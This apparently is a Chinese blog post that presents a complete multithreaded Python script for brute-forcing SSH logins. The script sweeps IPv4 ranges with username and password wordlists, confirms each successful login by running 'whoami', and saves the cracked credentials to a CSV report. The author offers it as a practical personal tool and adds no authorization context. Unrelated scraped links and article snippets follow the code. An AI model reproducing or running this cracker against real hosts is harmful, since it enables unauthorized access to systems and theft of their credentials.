多线程sshd爆破程序代码
不多说了,直接上手代码,也没有啥练手的,都是很熟悉的代码,水一篇,方便作为工作的小工具吧。试了一下,配合一个好点的字典,还是可以作为个人小工具使用的。
- #!/usr/bin/env python
- # -*- coding:utf-8 -*-
- '''
- SSH服务弱口令扫描脚本
- 作者:陈然
- '''
- #引入包文件
- import ipaddr
- import logging
- import datetime
- import paramiko
- import threading
- from optparse import OptionParser
- #定义全局配置
- logging.basicConfig(format="%(message)s",level=logging.INFO)
- #定义全局变量
- username_config_file = "../config/username.conf"
- password_config_file = "../config/password.conf"
- username_list = []
- password_list = []
- target_list = []
- result_list = []
- multi_thread = False
- #定义全局接口函数
- def read_config_from_file():
- """从配置文件夹下的字典文件中读取爆破用户名和口令"""
- global username_list
- global password_list
- #读取用户名字典
- with open(username_config_file,"r") as fr:
- for line in fr.readlines():
- username = line.split("\n")[0].split("\r")[0]
- username_list.append(username)
- #读取口令字典
- with open(password_config_file,"r") as fr:
- for line in fr.readlines():
- password = line.split("\n")[0].split("\r")[0]
- password_list.append(password)
- #字典列表去重
- username_list = list(set(username_list))
- password_list = list(set(password_list))
- def change_config_files(username_file=None,password_file=None):
- """指定用户名和口令的字典配置文件"""
- global username_config_file
- global password_config_file
- if username_file != None:
- username_config_file = username_file
- if password_file != None:
- password_config_file = password_file
- def target_analyst(target):
- """对于目标网络地址分析并拆分其中的地址段 仅支持IPv4"""
- global target_list
- target = ipaddr.IPv4Network(target)
- hosts_list = target.iterhosts()
- for host in hosts_list:
- target_list.append(str(host))
- def target_file_anylast(filename):
- """分析目标列表文件"""
- file_to_target = []
- with open(filename,"r") as fr:
- for line in fr.readlines():
- each_target = line.split("\n")[0].split("\r")[0]
- file_to_target.append(each_target)
- return file_to_target
- def send_crack_packet(target,username,password,port=22,timeout=3):
- """发送爆破登录报文"""
- global result_list
- #局部变量
- flag = False#是否有漏洞的标志位,默认False
- #创建SSH对象并登陆
- logging.info("[+] 爆破对象 地址%s 端口:%s 用户名:%s 口令:%s"%(str(target),str(port),str(username),str(password)))
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- ssh.connect(hostname=target, port=port, username=username, password=password,timeout=timeout,allow_agent=False,look_for_keys = False)
- #执行命令
- stdin, stdout, stderr = ssh.exec_command('whoami',timeout=timeout)
- #获取命令结果
- result = stdout.read().split("\n")[0]
- if result == username:
- flag = True
- report_sting = "%s,%s,%s,%s,%s\n"%(str(target),"YES",str(port),str(username),str(password))
- result_list.append(report_sting)
- logging.info("[*] 爆破成功: 详细信息[地址:%s,端口:%s,用户名:%s,口令:%s]"%(str(target),str(port),str(username),str(password)))
- try:
- if multi_thread == False:
- continue_flag = raw_input("是否继续?[1]继续[2]退出")
- continue_flag = int(continue_flag)
- else:
- continue_flag = 1
- except Exception,ex:
- continue_flag = 2
- if continue_flag != 1:
- exit(0)
- except Exception,ex:
- pass
- #关闭连接
- ssh.close()
- return flag
- def create_report():
- """生成报告文件"""
- time_string = str(datetime.datetime.now()).replace(" ","").replace(":","")
- fd = open("../result/%s.csv"%time_string,"w")
- fd.write("Target-IP,WEAK,PORT,USERNAME,PASSWORD\n")
- for result_string in result_list:
- fd.write(result_string)
- fd.close()
- def parameter_checker(parameter):
- """参数检查函数"""
- if parameter in ["",None," ","null"]:
- return False
- else:
- return True
- def list_devide(object_list,count):
- """列表拆分函数"""
- return_list = []
- if not isinstance(object_list,list):
- return []
- else:
- total = len(object_list)
- size = total/count + 1
- start = 0
- end = start + size
- while True:
- if end <= total:
- return_list.append(object_list[start:end])
- elif end > total and start < total:
- return_list.append(object_list[start:])
- elif start > total:
- break
- else:
- break
- start += size
- end += size
- return return_list
- class cracker(threading.Thread):
- """多线程爆破类"""
- def __init__(self,target_list,timeout):
- """多线程爆破构造函数"""
- threading.Thread.__init__(self)
- self.__target_list = target_list
- self.__timeout = timeout
- def run(self):
- for target in self.__target_list:
- for username in username_list:
- for password in password_list:
- send_crack_packet(target=target,username=username,password=password,timeout=self.__timeout)
- if __name__ == '__main__':
- parser = OptionParser()
- parser.add_option("-a","--target",dest="target",help="Target IP Addresses!")
- parser.add_option("-i","--infile",dest="infile",help="Target IP Addresses File!")
- parser.add_option("-u","--user",dest="userfile",help="Username Dictionary File!")
- parser.add_option("-p","--pswd",dest="pswdfile",help="Password Dictionary File!")
- parser.add_option("-o","--outfile",dest="outfile",help="Create A Report File! If [Yes] Create Report!")
- parser.add_option("-n","--thread",dest="threadnum",help="Count Of Thread!")
- parser.add_option("-t","--timeout",dest="timeout",help="Timeout Of Seconds!")
- (options, arges) = parser.parse_args()
- try:
- options.threadnum = int(options.threadnum)
- except Exception,ex:
- options.threadnum = 1
- options.threadnum = 10 if options.threadnum > 10 else options.threadnum
- try:
- timeout = int(options.timeout)
- except Exception,ex:
- timeout = 3
- timeout = 60 if timeout >= 60 else timeout
- if (parameter_checker(options.target) or parameter_checker(options.infile)) == False:
- logging.error("[-] 输入参数错误!!!")
- exit(0)
- logging.info("[+] 目标初始化...")
- if options.infile != None:
- ret = target_file_anylast(options.infile)
- for item in ret:
- if item.find("/") >= 0 or item.find("-") >= 0:
- target_analyst(item)
- else:
- target_list.append(item)
- if options.target != None:
- if options.target.find("/") >= 0 or options.target.find("-") >= 0:
- target_analyst(options.target)
- else:
- target_list.append(options.target)
- logging.info("[+] 目标初始化完成!!!")
- if (parameter_checker(options.userfile) or parameter_checker(options.pswdfile)) == True:
- logging.info("[+] 配置字典文件!!!")
- change_config_files(username_file=options.userfile,password_file=options.pswdfile)
- read_config_from_file()
- logging.info("[+] 开始扫描")
- #单线程爆破
- if options.threadnum == 1:
- for target in target_list:
- for username in username_list:
- for password in password_list:
- send_crack_packet(target=target,username=username,password=password,timeout=timeout)
- #多线程爆破
- else:
- multi_thread = True
- thread_list = []
- thread_target_list = list_devide(target_list,options.threadnum)
- for thread_target in thread_target_list:
- thread_object = cracker(thread_target,timeout)
- thread_list.append(thread_object)
- for thread in thread_list:
- thread.start()
- for thread in thread_list:
- thread.join()
- if parameter_checker(options.outfile) and options.outfile == "yes":
- logging.info("[+] 生成报告中...")
- create_report()
- logging.info("[+] 报告已生成!!!")
- logging.info("[+] 扫描完成")
多线程sshd爆破程序代码的更多相关文章
- python多线程ssh爆破
python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...
- 破解入门【OllyDebug爆破程序】
逆向破解这块我也是个刚起步的小菜,入门都还算不上吧,看了点基础教程,先动手练习一下增加点兴趣.嘿嘿 工具: peid //查壳工具 OllyDebug //反汇编.动态调试工具 ...
- HOOK大法实现不修改程序代码给程序添加功能
[文章标题]: HOOK大法实现不修改程序代码给程序添加功能[文章作者]: 0x18c0[软件名称]: Scylla[使用工具]: OD.Stub_PE.ResHacker[版权声明]: 本文原创于0 ...
- 程序代码中退出函数exit()与返回函数return ()的区别
程序代码中退出函数exit()与返回函数return ()的区别 exit(0):正常运行程序并退出程序: exit(1):非正常运行导致退出程序: return():返回函数,若在主函数 ...
- Android入门(四):链接接口组件和程序代码
编写好layout中的接口组件之后,下一步就是编写控制接口组件的程序代码.上一章,我们使用了三种接口组件,在使用者输入性别和年龄之后点击“健康建议按钮”,程序会读取用户所填入的性别和年龄,然后显示判断 ...
- WinPipe后门程序代码示例(仅限技术交流)
具体怎么编译,生成执行程序,不懂得先学习C++程序代码编译和集成开发环境. 多的不说了,只有两个代码文件,一个头文件,一个源文件.不多说了,直接上干货. (恶意使用,或者商用,后果自负,与本人无关.) ...
- Bullet核心类介绍(Bullet 2.82 HelloWorld程序及其详解,附程序代码)
实验平台:win7,VS2010 先上结果截图: 文章最后附有生成该图的程序. 1. 刚体模拟原理 Bullet作为一个物理引擎,其任务就是刚体模拟(还有可变形体模拟).刚体模拟,就是要计算预测物体的 ...
- 每周一书-编写高质量代码:改善C程序代码的125个建议
首先说明,本周活动有效时间为2016年8月28日到2016年9月4日.本周为大家送出的书是由机械工业出版社出版,马伟编著的<编写高质量代码:改善C程序代码的125个建议>. 编辑推荐 10 ...
- 使用sencha cmd 一键生成你的应用程序代码
一键生成你的应用程序代码: ------------------------------------------------------------ 我们的出发点就是使用命令来产生一个应用程序,执行以 ...
随机推荐
- Linux下connect超时处理
1.前言 最近在写一个测试工具,要求快速的高效率的扫描出各个服务器开放了哪些端口.当时想了一下,ping只能检测ip,判断服务器的网络是连通的,而不能判断是否开放了端口.我们知道端口属于网络的传输层, ...
- js获取当前域名的方法
一.获取当前域名 1.方法一 var domain = document.domain; 2.方法二 var domain = window.location.host; 但是获取到的domain在线 ...
- JavaScript 中 this 的用法
在 JavaScript 中,this 是动态绑定,或称为运行期绑定的.一般而言,在Javascript中,this 指向函数执行时的当前对象. 由于其运行期绑定的特性,JavaScript 中的 t ...
- svnserver权限问题
打开visualSVN server 右键Users,新建user/Create user 输入username.password.确认password.依据须要建立对应的用户 右键Groups,新建 ...
- [Jobdu] 题目1373:整数中1出现的次数(从1到n整数中1出现的次数)
题目描述: 亲们!!我们的外国友人YZ这几天总是睡不好,初中奥数里有一个题目一直困扰着他,特此他向JOBDU发来求助信,希望亲们能帮帮他.问题是:求出1~13的整数中1出现的次数,并算出100~130 ...
- You-Get 视频下载工具 Python命令行下载工具
You-Get 是一个命令行工具, 用来下载各大视频网站的视频, 是我目前知道的命令行下载工具中最好的一个, 之前使用过 youtube-dl, 但是 youtube-dl 吧, 下载好的视频是分段的 ...
- oracle autotrace
--======================= -- 启用 AUTOTRACE功能 --======================= AUTOTRACE是一个SQL*Plus工具,用于跟踪SQL ...
- Unix系统编程()brk,sbrk
在堆上分配内存 进程可以通过增加堆的大小来分配内存,所谓堆是一段长度可变的连续虚拟内存,始于进程的未初始化数据段末尾,随着内存的分配和释放而增减.通常将堆的当前内存边界称为"program ...
- saveFileDialog对话框
private void button1_Click(object sender, EventArgs e) { saveFileDialog1.Filter = "*.txt|*.txt| ...
- PHP——数组2(数组函数,二维数组,正则表达式)
<body> <?php //数组函数 $arr=array(1,2,3,4,5,6); print_r($arr); echo "<br />"; ...